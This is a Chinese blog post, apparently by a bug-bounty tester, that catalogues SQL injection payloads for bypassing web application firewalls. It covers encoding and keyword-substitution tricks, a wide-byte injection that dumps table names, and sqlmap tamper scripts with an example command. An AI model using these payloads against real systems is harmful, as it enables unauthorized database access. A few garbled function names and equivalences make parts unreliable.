前言
最近挖edusrc的時候遇到有注入點但是有waf繞不過,頭疼。
可以看到還是phpstudy建站的,太熟悉了這個,不知道這個什么waf各位師傅知道的可以評論一下,所以寫這篇文章是供各位師傅在實戰(zhàn)中遇到waf可以看一看,能給各位師傅一點幫助,所以就想著寫一篇。
還有一個很有可能是有注入點的但是,用了很多注入語句都不行,不知道怎么回事
后面再去慢慢研究。
正文
手動繞過
一:空格被過濾
當空被過濾掉的時候(也就是被刪掉的意思)問你就可以使用編碼或者注釋進行繞過
%20,%09,/**/ /*注釋*/%0a,%0b,%0c,%0d,%a0
二:空格被過濾,括號未被過濾
像這樣的
select(admin())from data where(1=1)and(2=2)id=1%27and(sleep(ascii(mid(data()from(1)for(1)))=1))%23
ascii:用字符的ASCII碼來尋找
這里用多個括號代表空格
三:逗號繞過—-當我們需要用到offset、join、limit這些語句的時候。
使用join:
union select 1,2/代替成joinunion select * from (select 1)a join (select 2)b
使用offset:
limit 2,1代替成limit 1 offset 2
使用like:
select ascii(mid(user(),1,1))=97/使用like來尋找含有“a”的表(代替了上面的查詢繞過了逗號)select user() like 'a%'
四:or and not xor繞過
如果在測試過程中出現這三個被過濾我們可以用他們等價的語句進行注入
'and'等價于'&&' 'or'等價于'||' 'xor'等價于'|' 'not'等價于'!'
五:等號繞過
?id=1 or 1 like 1 /用like代替了等號?id=1 or 1 rlike 1 /用rlike代替了等號?id=1 or 1 regexp 1 /用regexp代替了等號?id=1 or !(1 <> 1)或者1 !(<>) 1 /<> 等價于 != 所以在前面再加一個!結果就是等號了(雙重否定變肯定)
六:編碼繞過—-前提條件是沒有對編碼進行過濾
/16進制繞過select * from users where username = user;select * from users where username = 0x75736572;/兩次url全編碼1+and+1=21+%25%36%31%25%36%65%25%36%34+1=2
七:函數代替繞過—當輸入函數被禁止時
/當一方函數被禁用時候就可以用另一邊的函數進行注入hex()、bin()等價于ascii()sleep() 等價于benchmark()concat_ws()等價于group_concat()mid()、substr() 等價于substring()@@user等價于user()@@datadir 等價于atadir()
八:寬字節(jié)繞過—前提條件所輸入的單雙引號會被轉義
%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=datab ase() -- qwe
這里我們在單引號前面了一個%df來繞過。
sqlmap繞過
sqlmap中的tamper里面很多防過濾的腳本,都是很實用的
里面有很多類型的過濾,具體要使用那個腳本,我們要適當地手工測試
例如
單引號沒過濾,
再試一試其他的
等于號沒過濾
還有很多可以嘗試,就不一個個說了
下面說一下腳本的利用說明
apostrophemask.py 用utf8代替引號 ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' b ase64encode.py 用b ase64編碼替換 ("1' AND SLEEP(5)#")'MScgQU5EIFNMRUVQKDUpIw=='multiplespaces.py 圍繞SQL關鍵字添加多個空格 ('1 UNION SELECT foobar')'1 UNION SELECT foobar'space2plus.py 用+替換空格 ('SELECT id FROM users')'SELECT+id+FROM+users'nonrecursivereplacement.py 雙重查詢語句。取代predefined SQL關鍵字with ('1 UNION SELECT 2--')'1 UNIOUNIONNSELESELECTCT 2--'space2randomblank.py 代替空格字符(“”)從一個隨機的空白字符可選字符的有效集 ('SELECT id FROM users')'SELECT%0Did%0DFROM%0Ausers'unionalltounion.py 替換UNION ALL SELECT UNION SELECT ('-1 UNION ALL SELECT')'-1 UNION SELECT'securesphere.py 追加特制的字符串 ('1 AND 1=1')"1 AND 1=1 and '0having'='0having'"
還有很多師傅們可以到網上去查。
最后使用格式直接在語法里面加上—tamper “要使用的腳本”
例如:
sqlmap.py -u “http://www.xxxxx.com/test.php?id=1“ —delay=2 —random-agent —tamper “versionedmorekeywords.py”
要使用兩個腳本的話就再加上去但是第一個后綴要去掉:—tamper “space2comment,versionedmorekeywords.py”
結語
在很多實戰(zhàn)中都會有很多waf要繞過的,我們可以根據是什么waf來選擇特定的來繞過,這樣就不會浪費時間,一般判斷是什么waf就指紋識別或者給個注入語句看看是什么攔截了。